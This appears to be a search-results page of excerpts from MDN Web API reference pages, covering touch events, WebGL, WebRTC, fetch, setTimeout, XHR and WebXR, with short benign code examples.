...ny scroll offset . in this example, we assume the user initiates a touch on an element with an id of source, moves within the element or out of the element and then releases contact with the surface. when the touchend event handler is invoked, the changes in the touch.clientx and touch.clienty coordinates, from the
starting touch point to the ending touch point, are calculated. // register touch
start and touchend listeners for element 'source' var src = document.getelementbyid("source"); var clientx, clienty; src.addeventlistener('touch
start', function(e) { // cache the client x/y coordinates clientx = e.touches[0].clientx; clienty = e.touches[0].clienty; }, false); src.addeventlistener('touchend', function(e) { var deltax, deltay; // compute the change in x and y coordinates. ...
Touch.clientY - Web APIs
tical coordinate of the touch point relative to the browser's viewport excluding any scroll offset . in this example, we assume the user initiates a touch on an element with an id of source, moves within the element or out of the element and then releases contact with the surface. ...
...ny scroll offset . in this example, we assume the user initiates a touch on an element with an id of source, moves within the element or out of the element and then releases contact with the surface. when the touchend event handler is invoked, the changes in the touch.clientx and touch.clienty coordinates, from the
starting touch point to the ending touch point, are calculated. // register touch
start and touchend listeners for element 'source' var src = document.getelementbyid("source"); var clientx, clienty; src.addeventlistener('touch
start', function(e) { // cache the client x/y coordinates clientx = e.touches[0].clientx; clienty = e.touches[0].clienty; }, false); src.addeventlistener('touchend', function(e) { var deltax, deltay; // compute the change in x and y coordinates. ...
Touch.radiusX - Web APIs
sy property is the radius of the ellipse which most closely circumscribes the touching area (e.g. finger, stylus) along the axis perpendicular to that indicated by touch.rotationangle. the touch.rotationangle is the angle (in degrees) that the ellipse described by radiusx and radiusy is rotated clockwise about its center. ...
...e snippet, registers a single handler for the touch
start, touchmove and touchend events. when the src element is touched, the element's width and height will be calculate based on the touch point's radiusx and radiusy values and the element will then be rotated using the touch point's rotationangle. <div id="src"> ... </div> var src = document.getelementbyid("src"); src.addeventlistener('touch
start', rotate); src.addeventlistener('touchmove', rotate); src.addeventlistener('touchend', rotate); function rotate (e) { var touch = e.changedtouches.item(0); // turn off default event handling e.preventdefault(); // rotate element 'src'. src.style.width = touch.radiusx * 2 + 'px'; src.style.height = touch.radiusy * 2 + 'px'; src.style.transform = "rotate(" + touch.rotationangle + "...
TouchEvent.altKey - Web APIs
this property is read only . syntax var altenabled = touchevent.altkey; return value altenabled true if the alt key is enabled for this event; and false if the alt is not enabled. example this example illustrates how to access the touchevent key modifier properties: touchevent.altkey, touchevent.ctrlkey, touchevent.metakey and touchevent.shiftkey. ...
...led true if the alt key is enabled for this event; and false if the alt is not enabled. example this example illustrates how to access the touchevent key modifier properties: touchevent.altkey, touchevent.ctrlkey, touchevent.metakey and touchevent.shiftkey. in following code snippet, the touch
start event handler logs the state of the event's modifier keys. someelement.addeventlistener('touch
start', function(e) { // log the state of this event's modifier keys console.log("altkey = " + e.altkey); console.log("ctrlkey = " + e.ctrlkey); console.log("metakey = " + e.metakey); console.log("shiftkey = " + e.shiftkey); }, false); specifications specification status comment touch events – level 2 draft non-stable version. touch events ...
TouchEvent.targetTouches - Web APIs
the targettouches read-only property is a touchlist listing all the touch objects for touch points that are still in contact with the touch surface and whose touch
start event occurred inside the same target element as the current target element. syntax var touches = touchevent.targettouches; return value touches a touchlist listing all the touch objects for touch points that are still in contact with the touch surface and whose touch
start event occurred inside the same target element as the current target element. example this example illustrates the touchevent object's touchevent.targettouches property. ...
...as such, the targettouches list is a strict subset of the touches list. ...
TouchEvent.touches - Web APIs
touches is a read-only touchlist listing all the touch objects for touch points that are currently in contact with the touch surface, regardless of whether or not they've changed or what their target element was at touch
start time. you can think of it as how many separate fingers are able to be identified as touching the screen. syntax var touches = touchevent.touches; return value touches a touchlist listing all the touch objects for touch points that are still in contact with the touch surface, regardless of whether or not they've changed or what their target element was at touch
start time. example this example illustrates the touchevent object's touchevent.touches property. the touchevent.touches property is a touchlist object and containing a list of touch objects for every poi...
...with the touch surface, regardless of whether or not they've changed or what their target element was at touch
start time. example this example illustrates the touchevent object's touchevent.touches property. the touchevent.touches property is a touchlist object and containing a list of touch objects for every point of contact currently touching the surface. in following code snippet, the touch
start event handler checks the length of the touchevent.touches list to determine the number of touch points that were activated and then invokes different handlers depending on the number of touch points. someelement.addeventlistener('touch
start', function(e) { // invoke the appropriate handler depending on the // number of touch points. switch (e.touches.length) { case 1: handle_one_to...
TransitionEvent - Web APIs
nt event. transitionevent.propertyname read only is a domstring containing the name css property associated with the transition. transitionevent.elapsedtime read only is a float giving the amount of time the transition has been running, in seconds, when this event fired. this value is not affected by the transition-delay property. transitionevent.pseudoelement read only is a domstring,
starting with ::, containing the name of the pseudo-element the animation runs on. if the transition doesn't run on a pseudo-element but on the element, an empty string: ''. types of transitionevent transitioncancel an event fired when a css transition has been cancelled. transitionend an event fired when a css transition has finished playing. transitionrun an event fired when a css transitio...
...ransition doesn't run on a pseudo-element but on the element, an empty string: ''. types of transitionevent transitioncancel an event fired when a css transition has been cancelled. transitionend an event fired when a css transition has finished playing. transitionrun an event fired when a css transition is created, when it is added to a set of running transitions, though not nessarilty
started transition
start an event fired when a css transition has
started transitioning. methods also inherits properties from its parent event. transitionevent.inittransitionevent() initializes a transitionevent created using the deprecated document.createevent("transitionevent") method. specifications specification status comment css transitionsthe definition...
USBDevice - Web APIs
me. usbdevice.deviceversionminor read only the minor version number of the device in a semantic versioning scheme. usbdevice.deviceversionsubminor read only the patch version number of the device in a semantic versioning scheme. usbdevice.manufacturername read only the of the organization that manufactured the usb device. usbdevice.opened read only indicates whether a session has been
started with a paired usb device. usbdevice.productid read only the manufacturer-defined code that identifies a usb device. usbdevice.productname read only the manufacturer-defined name that identifies a usb device. usbdevice.serialnumber read only the manufacturer-defined serial number for the specific usb device. usbdevice.usbversionmajor read only one of three properties that declare the...
...eturns a promise that resolves with a usbisochronousintransferresult when time sensitive information has been transmitted to the usb device. usbdevice.isochronoustransferout() returns a promise that resolves with a usbisochronousouttransferresult when time sensitive information has been transmitted from the usb device. usbdevice.open() returns a promise that resolves when a device session has
started. usbdevice.releaseinterface() returns a promise that resolves when a cliamed interface is released from exclusive access. usbdevice.reset() returns a promise that resolves when the device is reset and all app operations canceled and their promises rejected. usbdevice.selectalternateinterface() returns a promise that resolves when the specified alternative endpoint is selected. usbdevice.
VTTCue() - Web APIs
the vttcue() constructor creates and returns a new vttcue object. syntax vttcue = new vttcue(
starttime, endtime, text); parameters
starttime this is a double representing the initial text track cue
start time. this is the time, given in seconds and fractions of a second, denoting the beginning of the range of the media data to which this cue applies. for example, if a cue is to be visible from 50 seconds to a one minute, five and a half seconds in the media's playback,
starttime will be 50.0. endtime this is a double representing the ending time for this text track cue. this is the time at which the cue should stop being presented to the user, given in seconds and fractions thereof. given the example cue mentioned under
starttime, the value of endtime would be 65.5. text a domstrin...
... return value a new vttcue object representing a cue which will be presented during the time span given. example // create a cue that is shown from 2 to 3 seconds and uses the given text. ...
WebGL2RenderingContext - Web APIs
etcontext('webgl2'); webgl 2 is an extension to webgl 1. the webgl2renderingcontext interface implements all members of the webglrenderingcontext interface. some methods of the webgl 1 context can accept additional values when used in a webgl 2 context. you will find this info noted on the webgl 1 reference pages. the webgl tutorial has more information, examples, and resources on how to get
started with webgl. constants see the webgl constants page. state information webgl2renderingcontext.getindexedparameter() returns the indexed value for the given target. buffers webgl2renderingcontext.bufferdata() initializes and creates the buffer object's data store. webgl2renderingcontext.buffersubdata() updates a subset of a buffer object's data store. webgl2renderingcontext.copybu...
... objects. webgl2renderingcontext.deletetransformfeedback() deletes a given webgltransformfeedback object. webgl2renderingcontext.istransformfeedback() returns true if the passed object is a valid webgltransformfeedback object. webgl2renderingcontext.bindtransformfeedback() binds a passed webgltransformfeedback object to the current gl state. webgl2renderingcontext.begintransformfeedback()
starts a transform feedback operation. webgl2renderingcontext.endtransformfeedback() ends a transform feedback operation. webgl2renderingcontext.transformfeedbackvaryings() specifies values to record in webgltransformfeedback buffers. webgl2renderingcontext.gettransformfeedbackvarying() returns information about varying variables from webgltransformfeedback buffers. webgl2renderingcontext.pauset...
Matrix math for the web - Web APIs
er. let x = 50; let y = 100; let z = 0; let translationmatrix = [ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, x, y, z, 1 ]; place the distances along the three axes in the corresponding positions in the translation matrix, then multiply it by the point or matrix you need to move through 3d space. manipulating the dom with a matrix a really easy way to
start using a matrix is to use the css matrix3d() transform. first we'll set up a simple <div> with some content. the style is not shown, but it's set to a fixed width and height and is centered on the page. the <div> has a transition set for the transform so that matrix is animated in making it easy to see what is being done. <div id='move-me' class='transformable'> <h2>move me with a matrix</h2> ...
...eme.style.transform = matrix3drule; view on jsfiddle scale matrix a scale matrix makes something larger or smaller in one or more of the three dimensions: width, height, and depth. in typical (cartesian) coordinates. this causes stretching or contracting of the object in the corresponding directions. the amount of change to apply to each of the width, height, and depth is placed diagonally
starting at the top-left corner and making their way down toward the bottom-right. let w = 1.5; // width (x) let h = 0.7; // height (y) let d = 1; // depth (z) let scalematrix = [ w, 0, 0, 0, 0, h, 0, 0, 0, 0, d, 0, 0, 0, 0, 1 ]; view on jsfiddle rotation matrix a rotation matrix is used to rotate a point or object. rotation matrices look a li...
Animating textures in WebGL - Web APIs
you can use similar code to use any sort of data (such as a <canvas>) as the source for your textures. this example uses the glmatrix library to perform its matrix and vertex math. you'll need to include it if you create your own project based on this code. our sample loads a copy from a cdn in our html's <head>. ...
... } first we create a video element. we set it to autoplay, mute the sound, and loop the video. we then set up two events to make sure the video is playing and the time has been updated. we need both of these checks because it will produce an error if you upload a video to webgl that has no data available yet. checking for both of these events guarantees there is data available and it's safe to
start uploading video to a webgl texture. in the code above, we confirm whether we got both of those events; if so, we set a global variable, copyvideo, to true to indicate that it's safe to
start copying the video to a texture. and finally, we set the src attribute to
start and call play to
start loading and playing the video. the video must be loaded from a secure source in order to be used to prov...
Using textures in WebGL - Web APIs
it then uploads a single blue pixel using teximage2d(). this makes the texture immediately usable as a solid blue color even though it may take a few moments for our image to download. to load the texture from the image file, it then creates an image object and assigns the src to the url for our image we w...
... replaced with this: // tell webgl how to pull out the texture coordinates from buffer { const num = 2; // every coordinate composed of 2 values const type = gl.float; // the data in the buffer is 32 bit float const normalize = false; // don't normalize const stride = 0; // how many bytes to get from one set to the next const offset = 0; // how many bytes inside the buffer to
start from gl.bindbuffer(gl.array_buffer, buffers.texturecoord); gl.vertexattribpointer(programinfo.attriblocations.texturecoord, num, type, normalize, stride, offset); gl.enablevertexattribarray(programinfo.attriblocations.texturecoord); } then add code to specify the texture to map onto the faces, just before draw: // tell webgl we want to affect texture unit 0 gl.activetexture(gl.
WebGL tutorial - Web APIs
ort it without the use of plug-ins. webgl programs consist of control code written in javascript and special effects code (shader code) that is executed on a computer's graphics processing unit (gpu). webgl elements can be mixed with other html elements and composited with other parts of the page or page background. this tutorial describes how to use the <canvas> element to draw webgl graphics,
starting with the basics. the examples provided should give you some clear ideas what you can do with webgl and will provide code snippets that may get you
started in building your own content. before you
start using the <canvas> element is not very difficult, but you do need a basic understanding of html and javascript. the <canvas> element and webgl are not supported in some older browsers, but are...
... adding 2d content to a webgl context how to render simple flat shapes using webgl. using shaders to apply color in webgl demonstrates how to add color to shapes using shaders. animating objects with webgl shows how to rotate and translate objects to create simple animations. ...
WebGL best practices - Web APIs
1000 sprites to paint, try to do it as a single drawarrays() or drawelements() call. it's common to use "degenerate triangles" if you need to draw discontinuous objects as a single drawarrays(triangle_strip) call. degenerate triangles are triangles with no area, therefore any triangle where more than one point is in the same exact location. these triangles are effectively skipped, which lets you
start a new triangle strip unattached to your previous one, without having to split into multiple draw calls. another important method for batching is texture atlasing, where multiple images are placed into a single texture, often like a checkerboard. since you need to split draw call batches to change textures, texture atlasing lets you combine more draw calls into fewer, bigger batches. shaders, pr...
...tex_tranform_prog) <pipeline flush> +bindframebuffer(webgl_texture._internal_framebuffer) +bindtexture(htmlvideoelement._internal_video_tex) +drawarrays() // y-flip/colorspace-transform/alpha-(un)premultiply +bindtexture(webgl_texture) +bindframebuffer(target) +useprogram(prog1) <pipeline flush> drawarrays() ... prefer doing uploads before
starting drawing, or at least between pipelines: in webgl: ... bindtexture(webgl_texture) teximage2d(htmlvideoelement) useprogram(prog1) <pipeline flush> bindframebuffer(target) drawarrays() bindtexture(webgl_texture) drawarrays() ... behind the scenes in the browser: ... bindtexture(webgl_texture) -teximage2d(htmlvideoelement): +useprogram(_...
WebGL: 2D and 3D graphics for the web - Web APIs
s and examples. guides data in webgl a guide to variables, buffers, and other types of data used when writing webgl code. webgl best practices tips and suggestions to help you improve the quality, performance, and reliability of your webgl content. using extensions a guide to using webgl extensions. tutorials webgl tutorial a beginner's guide to webgl core concepts. a good place to
start if you don't have previous webgl experience. examples a basic 2d webgl animation example this example demonstrates the simple animation of a one-color shape. topics examined are adapting to aspect ratio differences, a function to build shader programs from sets of multiple shaders, and the basics of drawing in webgl. webgl by example a series of live samples with short explanations that s...
...ices that are typically used to represent a 3d object view: the model, view and projection matrices. matrix math for the web a useful guide to how 3d transform matrices work, and can be used on the web — both for webgl calculations and in css3 transforms. resources raw webgl: an introduction to webgl a talk by nick desaulniers that introduces the basics of webgl. this is a great place to
start if you've never done low-level graphics programming. khronos webgl site the main web site for webgl at the khronos group. webgl fundamentals a basic tutorial with fundamentals of webgl. webgl playground an online tool for creating and sharing webgl projects. good for quick prototyping and experimenting. webgl academy an html/javascript editor with tutorials to learn basics of webgl programmin...
WebRTC connectivity - Web APIs
ion. the description includes information about the kind of media being sent, its format, the transfer protocol being used, the endpoint's ip address and port, and other information needed to describe a media transfer endpoint. this information is exchanged and stored using session description protocol (sdp); if you want details on the format of sdp data, you can find it in rfc 2327. when a user
starts a webrtc call to another user, a special description is created called an offer. this description includes all the information about the caller's proposed configuration for the call. the recipient then responds with an answer, which is a description of their end of the call. in this way, both devices share with one another the information needed in order to exchange media data. this exchange is ...
...n a peer that had previously created an offer receives an offer from the remote peer. in other words, if the local peer is in the state have-local-offer, indicating that the local peer had previously sent an offer, calling setremotedescription() with a received offer triggers rollback so that the negotiation switches from the remote peer being the caller to the local peer being the caller. ice re
starts for now, see ice re
start in lifetime of a webrtc session. the entire exchange in a complicated diagram ...
Using WebRTC data channels - Web APIs
transport and announce it to the remote peer for you (by causing it to receive a datachannel event). this is the easy way, and works for a wide variety of use cases, but may not be flexible enough for your needs. write your own code to negotiate the data transport and write your own code to signal to the other peer that it needs to connect to the new channel. let's look at each of these cases,
starting with the first, which is the most common. automatic negotiation often, you can allow the peer connection to handle negotiating the rtcdatachannel connection for you. to do this, simply call createdatachannel() without specifying a value for the negotiated property, or specifying the property with a value of false. this will automatically trigger the rtcpeerconnection to handle the negotiati...
...ta channels with each peer using different properties, and to create channels declaratively by simply using the same value for id. buffering webrtc data channels support buffering of outbound data. this is handled automatically. while there's no way to control the size of the buffer, you can learn how much data is currently buffered, and you can choose to be notified by an event when the buffer
starts to run low on queued data. this makes it easy to write efficient routines that make sure there's always data ready to send without over-using memory or swamping the channel completely. <<<write more about using bufferedamount, bufferedamountlowthreshold, onbufferedamountlow, and bufferedamountlow here>>> ... understanding message size limits for any data being transmitted over a network, the...
Writing a WebSocket server in Java - Web APIs
java.net.socket getoutputstream() returns an output stream for this socket. outputstream methods: write(byte[] b, int off, int len) writes len bytes from the s...
...r\nwaiting for a connection..."); socket client = server.accept(); system.out.println("a client connected."); socket methods: java.net.socket getinputstream() returns an input stream for this socket. java.net.socket getoutputstream() returns an output stream for this socket. outputstream methods: write(byte[] b, int off, int len) writes len bytes from the specified byte array
starting at offset off to this output stream. inputstream methods: read(byte[] b, int off, int len) reads up to len bytes of data from the input stream into an array of bytes. let us extend our example. inputstream in = client.getinputstream(); outputstream out = client.getoutputstream(); scanner s = new scanner(in, "utf-8"); handshaking when a client connects to a server, it sends a ...
Web Animations API Concepts - Web APIs
ect should look like at any given time. timing the timing model is the backbone of working with the waapi. each document has a master timeline, document.timeline, which stretches from the moment the page is loaded to infinity — or until the window is closed. spread along that timeline according to their durations are our animations. each animation is anchored to a point in the timeline by its
starttime, representing the moment along the document’s timeline when the animation
starts playing. all the animation's playback relies on this timeline: seeking the animation moves the animation’s position along the timeline; slowing down or speeding up the playback rate condenses or expands its spread across the timeline; repeating the animation lines up additional iterations of it along the tim...
... animation. core concepts web animations consist of timeline objects, animation objects, and animation effect objects working together. by assembling these disparate objects, we can create animations of our own. timeline timeline objects provide the useful property currenttime, which lets us see how long the page has been opened for: it's the "current time" of the document's timeline, which
started when the page was opened. as of this writing, there’s only one kind of timeline object: the one based on the active document’s timeline. in the future we may see timeline objects that correspond to the length of the page, perhaps a scrolltimeline, or other things entirely. animation animation objects can be imagined as dvd players: they’re used for controlling media playback, but withou...
Basic concepts behind Web Audio API - Web APIs
ng. basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. several sources — with different types of channel layout — are supported even within a single context. this modular design provides the flexibility to create complex audio functions with dynamic effects. audio nodes are linked via their inputs and outputs, forming a chain that
starts with one or more sources, goes through one or more nodes, then ends up at a destination. although, you don't have to provide a destination if you, say, just want to visualize some audio data. a simple, typical workflow for web audio would look something like this: create the audio context. inside the context, create sources — such as <audio>, oscillator, or stream. create effects nodes, s...
...lrlrlrlrlrlrlrlrlr (for a buffer of 16 frames) this format is very common for storing and playing back audio without much processing, for example a decoded mp3 stream. the web audio api exposes only planar buffers, because it's made for processing. it works with planar, but converts the audio to interleaved when it is sent to the sound card for playback. conversely, when an mp3 is decoded, it
starts off in interleaved format, but is converted to planar for processing. audio channels different audio buffers contain different numbers of channels: from the more basic mono (only one channel) and stereo (left and right channels), to more complex sets like quad and 5.1, which have different sound samples contained in each channel, leading to a richer sound experience. the channels are usually r...
WindowOrWorkerGlobalScope.fetch() - Web APIs
the promise resolves to the response object representing the response to your request. the promise does not reject on http errors — it only rejects on network errors. you must use then handlers to check for http errors. windoworworkerglobalscope is implemented by both window and workerglobalscope, which means that the fetch() method is available in pretty much any context in which you might want to fetch resources. a fetch() promise only rejects when a network error is encountered (which is usually when there’s a permissions issue or similar). ...
... urlsearchparams, usvstring, or readablestream object. note that a request using the get or head method cannot have a body. mode the mode you want to use for the request, e.g., cors, no-cors, or same-origin. credentials the request credentials you want to use for the request: omit, same-origin, or include. to automatically send cookies for the current domain, this option must be provided.
starting with chrome 50, this property also takes a federatedcredential instance or a passwordcredential instance. cache the cache mode you want to use for the request. redirect the redirect mode to use: follow (automatically follow redirects), error (abort with an error if a redirect occurs), or manual (handle redirects manually). in chrome the default is follow (before chrome 47 it defaulted ...
WindowOrWorkerGlobalScope.setTimeout() - Web APIs
4 ms when successive calls are triggered due to callback nesting (where the nesting level is at least a certain depth), or after certain number of successive intervals. take this example: function cb() { f(); settimeout(cb, 0); } settimeout(cb, 0); setinterval(f, 0); in chrome and firefox, the 5th successive callback call is clamped; safari clamps on the 6th call; in edge its the 3rd one. gecko
started to treat setinterval() like this in version 56 (it already did this with settimeout(); see below). historically some browsers implemented this throttling behaviour a bit differently (e.g. firefox) — on setinterval() calls made from anywhere, or when a nested settimeout() is called where the nesting level is at least a certain depth. to implement a 0 ms timeout in a modern browser, you can u...
...write to the console: after settimeout foo has been called this is because even though settimeout was called with a delay of zero, it's placed on a queue and scheduled to run at the next opportunity; not immediately. currently-executing code must complete before functions on the queue are executed, thus the resulting execution order may not be as expected. deferral of timeouts during pageload
starting in firefox 66, firefox will defer firing settimeout and setinterval timers while the current tab is loading. firing is deferred until the mainthread is deemed idle (similar to window.requestidlecallback()), or until the load event is fired. maximum delay value browsers including internet explorer, chrome, safari, and firefox store the delay as a 32-bit signed integer internally. this cause...
Synchronous and asynchronous requests - Web APIs
uments (if any) supplied to the invocation of function loadfile are "applied" to the running of the callback function. line 5 declares a function invoked when the xhr operation fails to complete successfully. line 11 stores the success callback given as the second argument to loadfile in the xhr object's callback property. line 12 slices the arguments array given to the invocation of loadfile.
starting with the third argument, all remaining arguments are collected, assigned to the arguments property of the variable xhr, passed to the success callback function xhrsuccess., and ultimately supplied to the callback function (in this case, showmessage) which is invoked by function xhrsuccess. line 15 specifies true for its third parameter to indicate that the request should be handled asynchrono...
...t; xhr.send(null); } notice the addition of code to handle the "timeout" event by setting the ontimeout handler. usage: function showmessage (message) { console.log(message + this.responsetext); } loadfile("message.txt", 2000, showmessage, "new message!\n"); here, we're specifying a timeout of 2000 ms. note: support for timeout was added in gecko 12.0. synchronous request note:
starting with gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27), blink 39.0, and edge 13, synchronous requests on the main thread have been deprecated due to their negative impact on the user experience. synchronous xhr requests often cause hangs on the web. but developers typically don't notice the problem because the hang only manifests with poor network conditions or when the remote ser...
XRInputSource - Web APIs
ueezable input, such as a hand gesture device that recognizes when the user squeezes their fist, that action is called a primary squeeze action. a primary squeeze action should correspond to a gripping act in reality, such as taking hold of an object or pressing a trigger on a tool or weapon. when a squeeze action begins, such as by the user pressing the trigger or tightening their grip, a squeeze
start event is sent to the xrsession. once the action is completed and the user has released the trigger or the grip, a squeeze event is sent. this is followed by a squeezeend, which is also sent if the action is aborted rather than completed. if the device has a button or other pressable input control, it is a primary input source, and this button is a primary action. a primary action may occur when ...
...tion is aborted rather than completed. if the device has a button or other pressable input control, it is a primary input source, and this button is a primary action. a primary action may occur when the user presses a button, clicks on a touchpad or the top button of a thumb stick, or uses a hand gesture or spoken command that invokes the button-like action. when a primary action begins, a select
start event is sent to the xrsession. when the action has completed (such as when the user releases the button), a select event is sent. finally, once that is done—or if the user aborts the action—a selectend event is sent to the session object. an action may be aborted either by the user in some device-specific fashion or if the input device is disconnected before the action is completed. local ...
XRInputSourceEvent() - Web APIs
return value a new xrinputsourceevent object representing the event described by the given type and eventinitdict. event types select sent to an xrsession when the sending input source has fully completed a primary action. selectend sent to an xrsession when an ongoing primary action ends, or when an input source with an ongoing primary action has been disconnected from the system. select
start sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, such as pressing a trigger or button, issuing a spoken command, tapping on a touchpad, or the like. squeeze sent to an xrsession when the sending input source has fully completed a primary squeeze action. squeezeend sent to an xrsession when an ongoing primary squeeze...
...egun a command-like input, such as pressing a trigger or button, issuing a spoken command, tapping on a touchpad, or the like. squeeze sent to an xrsession when the sending input source has fully completed a primary squeeze action. squeezeend sent to an xrsession when an ongoing primary squeeze action ends or when an input source with an ongoing primary squeeze action is disconnected. squeeze
start sent to an xrsession when an input source begins its primary squeeze action, indicating that the user has begun to grab, squeeze, or grip the controller. examples the code below sets up handlers for primary action events in order to determine when the user clicks on (shoots at/pokes at/whatever) objects in the scene. xrsession.addeventlistener("select", event => { let targetraypose = event...
XRInputSourceEvent.frame - Web APIs
) method, which you can use to get the relative positions of the objects in the scene at the time the event occurred. however, since the event frame isn't an animation frame, there is no viewer pose available to represent the viewer's current point of view; the results of calling getviewerpose() will be an xrviewerpose with an empty views list. ...
...the select
start event which gets the target ray's pose from the frame, mapping the pose representing the ray (event.inputsource.targetrayspace) to the overall reference space myrefspace. then, if the result isn't null, the target ray pose's transform is passed into a function called mycheckandhandlehit() to see if the ray was pointing at anything when the select was triggered. xrsession.onselect
start = event => { let targetraypose = event.frame.getpose(event.inputsource.targetrayspace, myrefspace); if (targetraypose) { checkandhandlehit(targetraypose.transform); } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceevent.frame' in that specification. working draft initial defi...
XRInputSourceEvent - Web APIs
vent interface doesn't define any methods; however, several methods are inherited from the parent interface, event. event types select sent to an xrsession when the sending input source has fully completed a primary action. selectend sent to an xrsession when an ongoing primary action ends, or when an input source with an ongoing primary action has been disconnected from the system. select
start sent to an xrsession when an input source begins its primary action, indicating that the user has begun a command-like input, such as pressing a trigger or button, issuing a spoken command, tapping on a touchpad, or the like. squeeze sent to an xrsession when the sending input source has fully completed a primary squeeze action. squeezeend sent to an xrsession when an ongoing primary squeeze...
...egun a command-like input, such as pressing a trigger or button, issuing a spoken command, tapping on a touchpad, or the like. squeeze sent to an xrsession when the sending input source has fully completed a primary squeeze action. squeezeend sent to an xrsession when an ongoing primary squeeze action ends or when an input source with an ongoing primary squeeze action is disconnected. squeeze
start sent to an xrsession when an input source begins its primary squeeze action, indicating that the user has begun to grab, squeeze, or grip the controller. examples the code below sets up handlers for primary action events in order to determine when the user clicks on (shoots at/pokes at/whatever) objects in the scene. xrsession.addeventlistener("select", event => { let targetraypose = event...
XRPermissionDescriptor.optionalFeatures - Web APIs
expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object. xrboundedreferencespace local a tracking space whose native origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. ...
...if that floor level isn't known, the user agent will estimate the floor level. ...
XRPermissionDescriptor - Web APIs
cifying the permission descriptor we've established, xrpermissiondesc. when the returned promise resolves, we check the returned status. if permission has been granted, we call a function setupxr() that handles preparing the webxr environment for use. if permission is conditional based on prompting, we call a function promptandsetupxr() that would handle asking for permission before enabling and
starting up the environment. and for any other returned state—which is almost certainly denied, which is the only other option as of this article's writing—we do nothing, since we can't use webxr. if the permission request promise is rejected, the error is handled (currently by just dumping it to the console using domxref("console.log()")}}). if the permissions api isn't available at all, this ex...
...y other option as of this article's writing—we do nothing, since we can't use webxr. if the permission request promise is rejected, the error is handled (currently by just dumping it to the console using domxref("console.log()")}}). if the permissions api isn't available at all, this example simply assumes that webxr will report an appropriate error if permission isn't available, and tries to
start up the webxr session using the same setupxr() function called by the granted case. let xrpermissiondesc = { name: "xr", mode: "immersive-vr", requiredfeatures: [ "local-floor" ] }; if (navigator.permissions) { navigator.permissions.query(xrpermissiondesc).then(({state}) => { switch(state) { case "granted": setupxr(); break; case "prompt": promptan...
XRPermissionStatus.granted - Web APIs
expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object. xrboundedreferencespace local a tracking space whose native origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. ...
...if that floor level isn't known, the user agent will estimate the floor level. ...
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
fsetreferencespace(). teleporting or setting the position of the viewer upon first creating a scene, you may need to set the user's position within the 3d world. you can do that using getoffsetreferencespace(). xrsession.requestreferencespace("local") .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(
startposition, {x:0, y:0, z:1.0, w: 1.0})); xrsession.requestanimationframe(drawframe); }); in this code, we obtain a local reference space, then use getoffsetreferencespace() to create a new space whose origin is adjusted to a position given by
startposition and whose orientation is looking directly along the z azis. then the first animation frame is requested using xrsession's requestanimationfram...
...nerated from the accumulated mouse inputs. applymousemovement() should be called when drawing a frame, immediately before fetching the viewer's pose using getviewerpose(), and the rendering should be performed in this reference space. you can see code similar to this in use in our broader webxr tutorial article called movement, orientation, and motion. in particular, check out the section called
starting the webxr session. specifications specification status comment webxr device apithe definition of 'getoffsetreferencespace()' in that specification. working draft initial definition. ...
XRReferenceSpace: reset event - Web APIs
ne level to another in a game, where each level is its own map with its own coordinate system). the tracking system has temporarily lost the user, then regained them, but not until after they had moved enough to leave the immediate vicinity of the last-known position. primarily an issue for unbounded reference spaces. the user is in an unbounded reference space and has moved far enough from the
starting position (the reference space's origin) that floating-point or other forms of error or drift are problematic. the coordinate system is thus reset with its new origin at or near the user's current position. the webxr infrastructure or hardware drivers detected that the device had temporarily lost tracking, causing the hardware and software to be out of sync on position and orientation. note...
...f sync on position and orientation. note: a reset event will not occur if the reference space is able to regain tracking of its previous origin, since that means the origin has not been forced to be relocated. this event is only fired when the origin has to be relocated to recover from the tracking loss. manual resets if you've spent any time using a vr headset, you've had times when you've
started it up and although you're facing straight ahead, the headset thinks you're looking at the sky or the floor; or times when you point the hand controller straight forward, but it thinks you're pointing it up and to the right somewhere. when that happens, you typically hold down a button somewhere and it causes the world to resynchronize to the device's current orientation. that works by sending a...
XRReferenceSpace - Web APIs
expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object. xrboundedreferencespace local a tracking space whose native origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. ...
...if that floor level isn't known, the user agent will estimate the floor level. ...
XRReferenceSpaceType - Web APIs
expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object. xrboundedreferencespace local a tracking space whose native origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. ...
...if that floor level isn't known, the user agent will estimate the floor level. ...
XRSession.requestAnimationFrame() - Web APIs
animationframe(time) { window.requestanimationframe(onwindowanimationframe) // this may be called while an immersive session is running on some devices, // such as a desktop with a tethered headset. to prevent two loops from // rendering in parallel, skip drawing in this one until the session ends. ...
... // begin the session’s animation loop. ...
XRSession.requestReferenceSpace() - Web APIs
expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object. xrboundedreferencespace local a tracking space whose native origin is located near the viewer's position at the time the session was created. the exact position depends on the underlying platform and implementation. ...
...if that floor level isn't known, the user agent will estimate the floor level. ...
XRSession: squeeze event - Web APIs
mon kinds of primary action are users pressing triggers or buttons, tapping a touchpad, speaking a command, or performing a recognizable gesture when using a video tracking system or handheld controller with an accelerometer. bubbles yes cancelable no interface xrinputsourceevent event handler property onsqueeze for details on how the squeeze
start, squeeze, and squeezeend events work, and how you should react to them, see primary squeeze actions in inputs and input sources. examples the following example uses addeventlistener() to set up a handler for the squeeze event. the handler fetches the pose representing the target ray for tracked-pointer inputs and sends the pose's transform to a function called myhandlesqueezewithray(). this co...
... to set up a handler for the squeeze event. the handler fetches the pose representing the target ray for tracked-pointer inputs and sends the pose's transform to a function called myhandlesqueezewithray(). this code treats the squeeze as an instantaneous action that doesn't involve tracking an ongoing activity. if you need to track a squeeze action that isn't instantaneous, listen for the squeeze
